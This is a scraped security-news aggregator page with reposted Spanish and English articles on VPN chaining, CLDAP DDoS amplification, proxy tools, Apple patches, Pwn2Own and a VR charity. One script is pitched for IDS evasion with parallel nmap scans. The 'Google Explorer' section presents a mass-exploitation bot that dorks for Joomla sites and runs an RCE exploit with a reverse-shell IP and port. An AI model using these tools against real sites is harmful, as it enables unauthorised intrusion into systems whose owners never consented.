Quantcast
Channel: Hacking Land :: Hack, Crack and Pentest
Viewing all 1133 articles
Browse latest View live

VPNs concurrentes con OpenVPN

$
0
0
Ya sabéis que hace poco liberamos 4nonimizer, un script en bash que permite ocultar la IP con la que salimos a Internet usando un proveedor VPN que soporte OpenVPN. Inicialmente la herramienta levanta un único túnel pero, ¿por qué no levantar varios de forma concurrente?"

Imaginad la posibilidad de usar una "cadena de proveedores VPN", es decir, establecer una VPN teniendo previamente otra levantada, y así varias veces para ocultar la IP real detrás de varias "capas". O la posibilidad de distribuir tráfico paralelamente durante un escaneo de puertos multiplicando la rapidez y de paso facilitando la evasión de IDS/IPS. Por poner dos claros ejemplos...

Pues nada más fácil, simplemente hay que levantar cada uno de los túneles añadiendo cada ruta con una métrica diferente y pata ello sólo hay que especificarlo en cada fichero de configuración correspondiente del cliente openvpn (.ovpn).

El siguiente script levantará automáticamente tantos túneles VPN como indiquemos:

#!/bin/bash
cp pass.txt ./multivpn
rm ./multivpn/*.ovpn

echo introduce numero de vpns concurrentes
read novpns

# Copia 3 ficheros ovpn adicionales por si algún peer falla
novpns=$((novpns + 3))

currentnovpns=0
while [ $novpns != $currentnovpns ]
do   
    randomvpn=$(ls *.ovpn | shuf -n 1)
    if [ ! -f ./multivpn/$randomvpn ]; then
        cp $randomvpn ./multivpn/
        echo "Copiado el fichero $randomvpn"
    fi
    currentnovpns=`ls -1 ./multivpn/*.ovpn 2>/dev/null | wc -l`
done

novpns=$((novpns - 3))

# levanta cada tunel con diferentes metricas
metric="20"
INT=$(ls /sys/class/net/ | grep -E '^eth|^en' | head -1)
GW=$(ip route show 0.0.0.0/0 dev $INT | cut -d\  -f3 | sort -u)

for file in $(ls ./multivpn/*.ovpn)
    do
    echo "route-metric $metric">> $file
    echo "route-nopull 1">> $file
    echo "route 0.0.0.0 0.0.0.0 vpn_gateway $metric">> $file
    metric=$((metric + 1))
done

cd multivpn

musthavetun=1
tries=1

for file in $(ls *.ovpn)
do

    currenttun=$(ifconfig | grep tun | awk '{print $1}' | wc -l)
    echo -en "\nNúmero de túneles levantados: $currenttun\n"

    nohup openvpn $file 2>/dev/null &

    echo "Levantando interfaz de túnel"
    while [[ $currenttun -lt $musthavetun ]]
        do
            echo -en "."
            tries=$((tries + 1))
            sleep 1
            currenttun=$(ifconfig | grep tun | awk '{print $1}' | wc -l)
            if [ "$tries" = 30 ]
            then
                break
            fi
        done
   
    route del default gw $GW $INT 2>/dev/null
    route add default gw $GW $INT 2>/dev/null
    sleep 3
    if [ "$currenttun" = "$novpns" ]
    then
        break   
    else
        musthavetun=$((musthavetun + 1))
        echo "ok!"
    fi
done

echo -e " todos los túneles levantados."

Sólo tenéis que copiarlo (multivpn.sh) al directorio donde tengáis los .ovpn (con 4nonimizer en '/opt/4nonimizer/vpn/proveedor') y copiará aleatoriamente algunos de estos ficheros al subdirectorio 'multivpn' para ejecutarlos después con el cliente openvpn y establecer los túneles uno tras otro:
# bash multivpn.sh 
introduce numero de vpns concurrentes
4
Copiado el fichero VpnProvider.Singapore-Singapore-NO-TORRENTS-TCP.ovpn
Copiado el fichero
VpnProvider.Denmark-Lyngby-TCP.ovpn
Copiado el fichero
VpnProvider.USA-NewJersey-NO-TORRENTS-TCP.ovpn
Copiado el fichero
VpnProvider.Turkey-Istanbul-UDP.ovpn
Copiado el fichero
VpnProvider.Latvia-Riga-NO-TORRENTS-UDP.ovpn
Copiado el fichero
VpnProvider.Singapore-Singapore-NO-TORRENTS-UDP.ovpn
Copiado el fichero
VpnProvider.Tunisia-Tunis-UDP.ovpn

Número de túneles levantados: 0
Levantando interfaz de túnel
....ok!

Número de túneles levantados: 1
Levantando interfaz de túnel
....ok!

Número de túneles levantados: 2
Levantando interfaz de túnel
.......ok!

Número de túneles levantados: 3
Levantando interfaz de túnel
.... todos los túneles levantados.

Después de su ejecución podéis comprobar que los interfaces de túnel (tun0, tun1, tun2, etc.) han sido creados:

# ifconfig
eth0 Link encap:Ethernet  HWaddr 50:7a:6d:f5:1a:12 
          inet addr:192.168.1.180  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:322235 errors:0 dropped:0 overruns:0 frame:0
          TX packets:215243 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:149725996 (149.7 MB)  TX bytes:17969308 (17.9 MB)
          Interrupt:16 Memory:e1300000-e1320000

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1527 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1527 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:9467111 (9.4 MB)  TX bytes:9467111 (9.4 MB)

tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 
          inet addr:10.8.0.10  P-t-P:10.8.0.9  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tun1      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 
          inet addr:10.9.0.42  P-t-P:10.9.0.41  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tun2      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 
          inet addr:10.8.0.6  P-t-P:10.8.0.5  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tun3      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 
          inet addr:10.9.0.14  P-t-P:10.9.0.13  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:48000  Metric:1
          RX packets:13 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:1312 (1.3 KB)  TX bytes:0 (0.0 B)

Y que las rutas han sido creadas con las métricas establecidas:

# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
0.0.0.0         10.8.0.9        0.0.0.0         UG    20     0        0 tun0
0.0.0.0         10.9.0.41       0.0.0.0         UG    21     0        0 tun1
0.0.0.0         10.8.0.5        0.0.0.0         UG    22     0        0 tun2
0.0.0.0         10.9.0.13       0.0.0.0         UG    23     0        0 tun3
10.8.0.5        0.0.0.0         255.255.255.255 UH    0      0        0 tun2
10.8.0.9        0.0.0.0         255.255.255.255 UH    0      0        0 tun0
10.9.0.13       0.0.0.0         255.255.255.255 UH    0      0        0 tun3
10.9.0.41       0.0.0.0         255.255.255.255 UH    0      0        0 tun1
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0

A partir de ahí lo que dictamine vuestra imaginación... por ejemplo, lanzar varios escaneos en paralelo con nmap simplemente especificando cada vez un interfaz distinto dentro de un loop:

nmap -sT -Pn -p$port_range -oX salida.xml $network -e tun$iface_number &

De esta manera podremos jugar como queramos como escanear cada rango de puertos de un mismo host desde ubicaciones geográficas diferentes, tal y como se muestra en la siguiente imagen (bmon) con 15 túneles simultáneamente:


¿Interesante verdad? Pues atentos porque pronto actualizaremos 4nonimizer con ésta y otras interesantes opciones :)

Via:www.hackplayers.com

Ataques DDoS con amplificación vía CLDAP (Connection-less LDAP) en la botnet Mirai

$
0
0
Como supongo que la mayoría de vosotros sabéis, el ataque de DDOS de la semana pasada fue realizado con la botnet Miari. Multitud de dispositivos controlados remotamente para atacar un único objetivo y hacer que la potencia sea tal que no pueda dar servicio. Pero para generar tal cantidad de tráfico - se habla de picos de 1.2 TBps - no basta con controlar muchos dispositivos, sino de amplificar todo lo que se pueda la generación de tráfico.

Figura 1: Ataques DDoS con amplificación vía CLDAP (Connection-less LDAP) en la botnet Mirai

Supongamos un equipo conectado en una casa particular con una línea de comunicaciones de 1MB que forma parte de la botnet. A priori, parece lógico pensar que este equipo puede aportar hasta un máximo de 1MB en el ataque total de la red, pero los atacantes, desde hace tiempo, utilizan técnicas de amplificación para conseguir que este dispositivo infectado genere mucho más tráfico que ese MB. Y aquí es donde la empresa Corero Network Security dice que Mirari utilizó un nuevo 0day en el protocolo CLDAP para conseguir este efecto.

Ataques de amplificación

Los ataques de amplificación no son nuevos, y podemos irnos muchos años atrás para ver cómo funcionaba el Ataque del Pitufo (Smurf Attack) y entender el proceso. Básicamente, todos los ataques de amplificación se basan en buscar una conexión de Internet de gran potencia (mucho más de 1MB) que ante una petición de tamaño X genere una respuesta de tamaño Y, donde el tamaño de Y es mayor que el de X. Se dice que la respuesta entonces está amplificada en un factor K > 1 tal que Y= K* X.

Figura 2: El ataque Smurft hacía amplificación con paquetes ICMP enviados a direcciones broadcast

Cuanto mayor sea el factor K, mayor tráfico se conseguirá con un bot en una conexión de 1MB. Supongamos que ante una petición DNS un atacante, con enviar una petición de 20 bytes consigue una respuesta de 80 bytes. En ese caso estaríamos hablando de una petición que consigue un factor de amplificación 4, con lo que un equipo controlado detrás de una conexión de 1MB sería capaz de conseguir un total de 4MB de tráfico de respuesta.

Figura 3: Ejemplo de un ataque simple de DNS amplification

El objetivo de los ataques de amplificación es conseguir que ese tráfico generado desde el servidor no sea enviado al equipo que originó la petición - en este caso el bot detrás de la conexión de 1 MB - sino que acabe en el servidor que se quiere atacar. Para eso, hay que conseguir hacer un ataque de spoofing - o suplantación de dirección IP - y para ello lo más sencillo es que se haga con servicios que funcionen sobre el protocolo UDP.

Por supuesto, en el pasado hemos visto ataques de spoofing sobre protocolo TCP, pero estos deben realizar la negociación de la conexión a ciegas, y la existencia de algoritmos robustos de generación de los números de secuencia TCP dificultan estos ataques - amen de protección en dispositivos de red que tienen sistemas de alerta contra este tipo de ataques -.

Un 0day de CLDAP (Connection-Less LDAP)

A lo largo de la historia hemos visto muchos tipos de ataques de amplificación. Ataques de DNS amplification como se utilizaron en el ataque de Spamhaus o de NTP amplification - además del ataque del pitufo citado anteriormente -. Ahora, según parece, hay un 0day que podría afectar al protocolo CLDAP.

Figura 4: Servidores usados en ataque DDoS de 400 GBps con NTP amplication en 2014

Según la empresa Corero Network Security, entre el tráfico detectado en el ataque de Mirai a Dyn se detectó mucho tráfico de respuestas CLDAP, lo que apunta a que se ha descubierto un 0day que permite hacer una amplificación con estas peticiones suplantando la dirección de origen de la petición CLDAP. Esto es así porque el protocolo CLDAP permite realizar conexiones UDP a los árboles LDAP, lo que facilita el proceso de suplantación.

El protocolo CLDAP puede estar habilitado en tus árboles LDAP e incluso Active Directory de Microsoft soporta este tipo de conexiones para acelerar los procesos de consulta a los objetos del árbol LDAP que da soporte a AD.

Figura 5: MS-CLDAP en Active Directory

En el libro de Hacking Web Technologies, yo le dediqué todo un extenso capítulo a los ataques a servidores LDAP y cómo protegerse de ellos, pero no hacía por supuesto ninguna referencia a este posible 0day. Ahora que es público, lógicamente, si tienes servicios LDAP abiertos a Internet, debes mirar si tu servidor soporta conexiones vía UDP de tipo CLDAP, porque entonces puedes ser parte de los ataques como elemento amplificación.

Saludos Malignos!

Via:www.elladodelmal.com

BinProxy - BinProxy is a proxy for arbitrary TCP connections

$
0
0

BinProxy is a proxy for arbitrary TCP connections. You can define custom message formats using the BinData gem.

Installation

Prerequisites
  • Ruby 2.3 or later
  • A C compiler, Ruby headers, etc., are needed to compile several dependencies.
    • On Ubuntu, sudo apt install build-essential ruby-dev should do it.
    • If you've installed a custom Ruby (e.g. with RVM), you probably already have what you need.
  • openssl binary for --tls without an explicit cert/key.
  • To build the UI, node.js and npm. (Not needed at runtime)

From Rubygems
gem install binproxy
You may need to use sudo , depending on your Ruby installation.

From Source
git clone https://github.com/nccgroup/BinProxy.git binproxy
cd binproxy

# Install ruby dependencies.
# Depending on your setup, one or both of these may require sudo.
gem install bundler && bundle

# The UI is built with a webpack/babel toolchain:
(cd ui && npm install) \
&& rake build-ui

# Confirm that everything works
# run.sh sets up the environment and passes all args to binproxy
./run.sh --help
To build and install the gem package:
gem build binproxy.gemspec

# Again, you may need sudo here
gem install binproxy-1.0.0.gem
Bug reports on installation issues are welcome!

Usage

Basic Usage
  1. Run binproxy with no arguments.
  2. Browse to http://localhost:4567/
  3. Enter local and remote hostnames or IP addresses and ports, and click 'update'
  4. Point a client at the local service, and watch the packets flow.

Command Line Flags
See --help for the complete list, but in short:
binproxy -c <class> [<local-host>] <local-port> <remote-host> <remote-port>
If you leave out the -c argument, a simple hex dump is shown.
If you leave out the local host, binproxy assumes localhost.
With the --socks-proxy or --http-proxy options, the remote host and port are determined dynamically, and should not be specified.

Examples
# Proxy from localhost:9000 -> example.com:9000
binproxy localhost 9000 example.com 9000

# Act as a SOCKS proxy on localhost:1080
# MITM and unwrap TLS on the proxied traffic, using a self-signed cert and key
binproxy -S --tls 1080

# "Poor substitute for Burp" mode:
#
# HTTP proxy; MITM TLS w/ pre-generated cert; simple header parsing
# Note: this will only work on HTTPS traffic, not plain HTTP!
# If you're working with the source repo, you generate the certs with:
# rake makecert[example.com]
# And then import certs/ca-cert.pem into your browser or OS's trust store.
binproxy -H --tls \
--tls-cert certs/example.com-cert.pem \
--tls-key certs/example.com-key.pem \
--class-name DumbHttp::Message \
localhost 8080

Customizing
By default, the proxy uses the built-in RawMessage class, which just gives you a hexdump of each message (assuming 1:1 between messages and TCP packets)
You can view parsed protocol information by specifying a BinData::Record subclass† with the --class command line argument.
You may also wish to define the following in your class:
def summary
# return a single-line description of this record
end

# currently supported options are
# - nil : use default display
# - "anon" : for structs, show contents directly
# - "hex" : for numbers, display as 0x1234ABCD
# - "hexdump" : for strings, display like `hexdump -C`
default_parameter display_as: "..."

# TODO: document state stuff
def self.initial_state
end

def current_state
end

def update_state
end
† Technically, any subclass of BinData::Base will work.

Dynamic Proxying
By default, BinProxy relays all traffic to a static upstream host and port. It can also be configured to act as a SOCKS (v4 or v4a) or HTTP proxy with the --socks-proxy and --http-proxy flags, respectively.
Note: Currently, the HTTP proxy only supports connections tunneled with the HTTP CONNNECT verb; it cannot proxy raw HTTP GET , POST , etc., requests. In practice, this means that HTTPS traffic will work, but plain HTTP traffic will not unless the client supports a flag to force tunneling, like curl -p .

TLS / SSL
Use the --tls flag to unwrap TLS encryption before processing messages. By default, BinProxy will generate a self-signed certificate. You can sepecify PEM files containing a certificate and key with --tls-cert and --tls-key . (If you've cloned the source repo, use rake makecert[example.com] to generate a static CA and a certificate with the appropriate hostname.)



Via:www.kitploit.com

Apple publica nuevas versiones de iTunes, iCloud y Xcode

$
0
0
Apple ha publicado nuevas versiones de algunas de sus aplicaciones, como iTunes 12.5.2, iCloud 6.0.1 y Xcode 8.1 destinadas a solucionar vulnerabilidades que podrían permitir la obtención de información personal o la ejecución de código arbitrario.

iTunes es la aplicación para Mac y Windows que permite organizar y reproducir distintos formatos multimedia. Además facilita la sincronización de un iPod, iPhone, iPad o Apple TV.

Se ha publicado iTunes 12.5.2 e iCloud 6.0.1 para Windows 7 (y posteriores) para corregir dos vulnerabilidades en WebKit, el motor de navegador de código abierto, que también forma la base de Safari. Bastaría con acceder a una web maliciosa para aprovechar los problemas. En primer fallo, con CVE-2016-4613, podría permitir la obtención de información del usuario mientras que un segundo error, con CVE-2016-7578, podría permitir ejecución de código arbitrario. Ambas vulnerabilidades afectan a iTunes e iCloud.

Por otra parte, Apple también ha publicado Xcode 8.1 para OS X El Capitan v10.11.5 (y posteriors), una nueva versión del entorno de desarrollo (IDE) de Apple que se incluye gratuitamente con Mac OS X. Está destinada a evitar 10 vulnerabilidades en IDE Xcode Server por fallos en Node.js que podrían permitir a un atacante remoto lograr la ejecución de código arbitrario. Se ha actualizado Node.js a la versión 4.5.0.

Más información:

About the security content of iTunes 12.5.2 for Windows

About the security content of iCloud for Windows 6.0.1

About the security content of Xcode 8.1


Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

Voluntechies: Colabora para "curar" niños con Realidad Virtual

$
0
0
Como muchos de vosotros que me estáis leyendo ahora, tal vez con el café del sábado, desde la cama o en alguna fase del proceso de asearse, la vida me ha regalado más de lo que podía pedir. Dos niñas preciosas que me manipulan y mangonean todo lo que quieren, a las que he bautizado como Hacker y Survivor. Si eres de los que eres padre o madre, ya sabes que vienen con poderes mágicos de serie. Basta con que te sonrían y el cansancio desaparece o que abran los ojos mucho cuando se sorprenden con algo para que el mundo se llene de colores y recibas una descarga de adrenalina por todo el cuerpo.

Figura 1:VolunTechies. Colabora para "curar" nivños con Realidad Virtual

Son terribles. Esos bichos pequeñajos te ownean y te ponen bajo un ransomware tu corazón. Sus alegrías multiplican tu felicidad por cien y sus penas te hacen sufrir infinito. Yo aún recuerdo el momento en que me di cuenta que había dejado de ser el root de mi alma cuando mi Hacker me dijo con cuatro años “Papi, eres mi favorito” al tiempo que me acariciaba la barba. Pwned! Como os sucede a muchos de vosotros, hackers. Que aunque tengáis el firewall up & running, luego coincidimos en las tiendas comprando disfraces de Elsa & Anna, toallas de Minnie, tazas de Peppa Pig o Mickey, y encargando muñecos de Chase por Amazon para que nuestr@s padawans sonrían con maldad cuando los reciben.

Hacker me roba el gorro y se lo pone mientras grita, y Survivor me rompe todas las cosas y me “obliga” a estar dibujando monstruos todo el día para colorearlos después. Me configuran las tareas de mi cron. Me buscan por mis papeles los dibujos de No Lusers que tenga hechos para poder “pintar papás”. No hay una folder en mi vida donde no sean System. Bueno, ya sabes como es si eres papá o mamá o tienes la suerte de tener uno de estos mini humanos rondando alrededor de tu vida. No hace falta que te lo cuente mucho, porque entonces te lo imaginas, o lo vives igual que yo.

Como se me dan bien estos bichos – hacer lo que ellos manden, quiero decir - y me conozco las canciones y los personajes de moda entre los seres de estas edades, en el Día Internacional del Voluntariado en Telefónica, decidí apuntarme a estar una tarde jugando con niñ@s que se encontraban en casas de acogida…. Y fue genial.

Voluntechies: Voluntarios Tecnológicos

Solo fue un ratito de mi tiempo, jugando con ellos y ellas a los bolos. Por mera práctica - al final de lo que más tengo experiencia es con las féminas de estas edades - solo tuve que dejar que me mangonearan unas horas las niñas de mi equipo, que se subieran a burro encima mía, que me tiraran un poco del pelo, ayudarles a empujar la bola por el tobogán o subiéndoles a ver si había pájaros en el cielo. Solo invertir un poco de velocidad por espacio que me hizo más feliz a mí que a todos ellos, sin duda.

El número de personas que se animó a participar en esta iniciativa fue alto, así que había compañeros que también estaban por allí. Compis de otras áreas que también compartieron risas y energía con los niños. Fue allí donde conocí otra iniciativa de mano de uno de ellos que tiene que ver con el voluntariado y la tecnología, de la que quiero hablaros hoy. Se llama Voluntechies.

Figura 2: Proyecto Voluntechies

Voluntechies es una asociación de voluntarios que apuesta por introducir las nuevas tecnologías para ayudar a los niños y niñas hospitalizados por medio de la realidad virtual. Se trata de hacer que esos seres pequeñajos que están pasando por dificultades en un momento de su vida puedan cambiar un poco esos ratos grises por un poco de color gracias a las posibilidades que ofrece la realidad virtual.

Figura 3: Misión de Voluntechies

Gracias a talleres con los principales HMD (Head-Mounted Display) del mercado como HTC Vive u Oculus, los Voluntechies no sólo entretienen durante un rato a los niños/as sino que les dan una herramienta para que ellos mismos puedan evadirse y transportarse a lugares lejanos con unas sencillas Google Cardboard y el smartphone de sus padres.

Figura 4: A punto de salir del hospital a otros mundos con HTC Vive

Se trata de hacer que estos niños puedan visitar lugares bonitos, divertidos o extraños cambiando el plano de su realidad diaria en el hospital por una realidad que durante el proceso de realización de una nueva prueba médica les permita estar viajando por el espacio, jugando con Chase, o interactuando con otros niños o niñas en su propio mundo. Es una asociación sin ánimo de lucro, de personas que están convencidas de que hay gran cantidad de techies que están dispuestos a pasar unas horas de su fin de semana con aquellos que más lo necesitan, acompañándoles en un paseo por la playa, una sesión de surf en Hawaii o subiendo el Himalaya.

Figura 5: Google CardBoard de Voluntechies

A día de hoy trabajan con los principales hospitales de la Comunidad de Madrid y están buscando más locos que crean que la tecnología puede servir para algo tan positivo como conseguir que una habitación blanca de hospital se llene del arcoíris con la sonrisa de un niño que visita un mundo paralelo cuando le van a hacer una prueba médica. Si os interesa ser parte de esta locura, queréis saber más sobre esta iniciativa, o queréis ayudar, puedes visitar su página web (http://www.voluntechies.org).

Figura 6: Vídeo del proyecto Voluntechies

Por supuesto, para colaborar podéis uniros a construir esos mundos, podéis apuntaros a estar en los talleres o podéis difundir el proyecto para que llegue a todos los voluntechies que haya por ahí. Y si estás en el momento de hacer un proyecto de fin de carrera, de fin de maestría o estás buscando un proyecto con el que aprender y colaborar con algún compañero, es también una buena inciativa para ponerse como reto personal. Aprender y ayudar al mismo tiempo.

Figura 7: ¿En el hospital o en la Sabana?

Al final, como siempre que se hace algo así, no hay nada como lo que vas a sacar tú de la experiencia de ver a uno de estos bichos contentos. Una carcajada suya, como sucede en Monstruos S.A., tiene mucha más energía para tu vida que nada más en el mundo.

Saludos Malignos!

Via:www.elladodelmal.com

BORG - Terminal Based Search For Bash Snippets

$
0
0

Borg was built out of the frustration of having to leave the terminal to search and click around for bash snippets. Borg's succint output also makes it easy to glance over multiple snippets quickly.

Search
borg "find all txt"
(1) Find and delete .txt files in bash
[a] find . -name "*.txt" | xargs rm
[b] find . -name "*.txt" -exec rm {} \;
[c] $ find . -name "*.txt" -type f -delete

(2) bash loop through all find recursively in sub-directories
[a] FILES=$(find public_html -type f -name '*.php')
[b] FILES=`find public_html -type d`
Can't find what you are looking for? Be a good hacker and contribute your wisdom to the hive mind - add your own snippets or tweak the existing ones.

Install
The following releases only let you search, to use add/edit install from source, releases are coming soon.
brew install borg
For linux, download a release manually releases
wget https://github.com/ok-borg/borg/releases/download/v0.0.1/borg_linux_amd64 -O /usr/local/bin/borg
chmod 755 /usr/local/bin/borg
Or download a release manually for Mac:
wget https://github.com/ok-borg/borg/releases/download/v0.0.1/borg_darwin_amd64 -O /usr/local/bin/borg
chmod 755 /usr/local/bin/borg

Rate results: worked
When you see a result that worked for you, you can use the worked command to give feedback:
borg worked 12
Once you do this the result will rank higher for similar queries - it is especially useful if you find a good result that you think are too down in the result list.

Advanced usage
For more commands and their explanations, please see advanced usage

How does borg work?
The client connects to a server at ok-b.org, but you can host your own if you want to (see daemon folder).
Self hosting will become less appealing once people start contributing their own content to the database though.

Explanation for ui
  • () denotes hits for your query
  • [] denotes snippets found for a given query
  • ... under a [] means more lines to display (use the -f flag for full display, see more about usage below)



Via:www.kitploit.com

El Mobile Pwn2Own 2016 revela vulnerabilidades en iPhone 6S y Nexus 6P

$
0
0
Como todos los años la última edición del Mobile Pwn2Own nunca deja indiferente a nadie. En esta ocasión se han mostrado ataques exitosos sobre dispositivos iPhone 6S y Nexus 6P.

La edición del MobilePwn2Own 2016se ha desarrollado esta semana en Tokio en la conferencia PacSec, organizado por Zero Day Initiative (ZDI) y Trend Micro. Solo dos equipos competidores, pero con un alto nivel, ya que encontraron graves vulnerabilidades en móviles iPhone 6S y Nexus 6P con todo el software y sistema totalmente actualizado. A diferencia del evento Pwn2Own, que da 15 minutos a cada concursante para completar un ataque exitoso, en el Mobile Pwn2Ownlos concursantes tienen tres intentos de cinco minutos cada uno para comprometer el dispositivo móvil.

La competición comenzó con el equipo de Tencent Keen Security Lab atacando un Google Nexus 6P. Mediante una combinación de dos vulnerabilidades diferentes en Android para aprovechar posteriormente otras debilidades en el sistema operativo en cada uno de los tres intentos. Como consiguieron instalar una aplicación falsa en todos sus ataques ganaron 102.500 dólares y 29 puntos para el premio Master of Pwn.

El mismo equipo también intentó instalar una aplicación falsa en un iPhone 6S. La aplicación llegó a instalarse, pero no se mantenía tras el reinicio del teléfono. Por lo que solo contó como éxito parcial. A pesar de ello, mostraron fallos interesantes que igualmente deberán ser corregidos y por los que ganaron 60.000 dólares.

Robert Miller y Georgi Geshev de MWR Labs también intentaron instalar una aplicación falsa en un Google Nexus 6P. Pero paree ser que la última actualización del navegador Chrome hizo que su exploit fuera muy inestable por lo que no lograron un ataque exitoso en los tiempos requeridos. Sin embargo mostraron desarrollos innovadores adquiridos a través de los canales ZDI habituales.

El último intento fue de Nuevo para el equipo del laboratorio de seguridad  Tencent Keen sobre un iPhone 6S intentando robar las fotos del dispositivo. Gracias a una combinación de una vulnerabilidad por uso de memoria después de liberarla al mostrar las fotos y un fallo de corrupción de memoria  en la sandbox consiguieron extraer una foto del teléfono. Esto les permitió ganar otros 52.500 dólares y otros 16 puntos para el Master of Pwn. Como es habitual, se ha informado de todos los problemas de forma responsbale.


Con dos intentos exitosos y uno parcial, el equipo de Tencent Keen Security Lab consiguió el título de Master of Pwn con 45 puntos y una suma total de 215.000 dólares ganados.


La propia Trend Micro reconoce que el concurso ha revelado "investigaciones fantásticas en el ámbito de la seguridad móvil". El mercado de las vulnerabilidades continúa evolucionando y madurando sobre todo en el espacio móvil. Los fallos son cada vez más valiosos, y los investigadores tienen una variedad de opciones sobre qué hacer con los problemas que descubren en los dispositivos.



Más información:

The Results are In: Mobile Pwn2Own 2016

Reglas

Welcome to Mobile Pwn2Own 2016

The Results are In: Mobile Pwn2Own 2016

TippingPoint DVLabs Provides Exclusive Security Coverage for Mobile Pwn2Own 0Day Vulnerabilities


Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

Documental "El cazador de cerebros: La vida después del móvil"

$
0
0
Hoy domingo, víspera de la Noche de Halloween, os voy a dejar algo fácil de procesar. Se trata del programa "El Cazador de Cerebros: Más allá del móvil", que emitieron la semana pasada en La 2. Se trata de un programa que intenta hablar sobre el smartphone de hoy en día y cómo será el smartphone del futuro.

Figura 1: Documental "El cazador de cerebros: La vida después del móvil"

En el programa participamos Nuria Oliver, Lluis Torner, Frank Hoppens, Iñaki Berenger y yo. El objetivo es charlar sobre qué es el smartphone hoy en día y qué podemos esperar en un futuro cercano, tratándose temas de usabilidad, de seguridad, de investigación científica como el grafeno, o sus utilidades.

 
Figura 2:El Cazador de cerebros - La vida después del móvil

El programa está presentado por Pere Estupinyà y mantiene un estilo narrativo muy fácil de llevar y entender haciendo uso de sus habilidades con las letras, así que seguro que os entretiene la media hora que dura. 

Saludos Malignos!

Via:www.elladodelmal.com

Google Explorer - Google Mass Explorer

$
0
0

[+] Google Mass Explorer

This is a automated robot for google search engine.
Make a google search, and parse the results for a especific exploit you define. The options can be listed with --help parameter.

Intro:
This project is a main project that i will keep upgrading when new exploits are published. They idea is use google search engine to find vulnerable targets, for specific exploits. The exploits parsers will be concentrated in google_parsers module. So when you make a search, you can choose explicit in "--exploit parser" argument, a especific exploit to the robot test if is the targets are vulnerable for that or not.
** !!! Is very important you use the right dork for the specific exploit.
The google parsers module (google_parsers.py) is the file that i will keep upgrading. For this version i'm putting just the joomla cve exploit. I have a wordpress bot too, but the ideia is you make your own parsers =))) If you have difficul to make, just send me the exploit and we make together =))
I make this google explorer because i'm very busy, and take to much time to search for targets in google manually. So I use a automated framework (Selenium) to make a robot to search for targets for me ;)) The problem using other libs and modules, is the captcha from google, and using Selenium, you can type the captcha when it is displayed, and the robots keeps crawling with no problem =)) This was the only way i find out to "bypass" this kind of protection... After it work, i decide to publish to everyone.

How the robot works:
1 - Make a google search
2 - Parse the from each page results
3 - Test if each target is vulnerable for a specific exploit.

Requiriments:
!!!!!! PYTHON 3 !!!!!!
The requirements is in requirements.txt file, you should install what is listed on it with:
$ sudo pip install -r requirements.txt
These are some exemples that you can use, and make your own:
python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="França" --last_update="no último mês"
On this exemple, im looking for servers in France, vulnerables to joomla RCE, using google.com domain as google search (they are listed in google_doomais.txt file), with last update on last month.
All these options are possible to any language, it will depends only in what google use for syntax for your country..
I have some old videos on my channel on youtube showing how it works, so take a look at the description of the olders projects in github if you need some video exemples ;))

Usage:
google_explorer.py --dork=<arg> --browser=<arg> [--exploit_parser=<arg>] [--language=<arg>]
[--location=<arg>] [--last_update=<arg>]
[--revshell=<arg>] [--port=<arg>]
[--google_domain=<arg>]

google_explorer.py --help
google_explorer.py --version
Options:
-h --help                                Open help menu
-v --version Show version
Required options:
--dork='google dork'                     your favorite g00gle dork :)
--browser='browser' chrome
chromium
Optional options:
--language='page language'               Portuguese
English
Arabic
Romanian
...
...

--location='server location' Brazil
Mauritania
Tunisia
Marroco
Japan
...
...

--last_update='page last update' anytime
past 24 hours
past week
past month
past year

--exploit_parser='Name or CVE exploit' joomla_15_12_2015_rce
generic_parser

--revshell='IP' public ip for reverse shell
--port='PORT' port for back connect

--google_domain='google domain' google domain to use on search. Ex: google.co.uk



Via:www.kitploit.com

Ejecución de código por vulnerabilidades en la librería LibTIFF

$
0
0
El grupo de seguridad de Cisco Talos ha anunciadotres vulnerabilidades en la librería LibTIFF que pueden ser aprovechadas por atacantes para lograr la ejecución de código arbitrario.

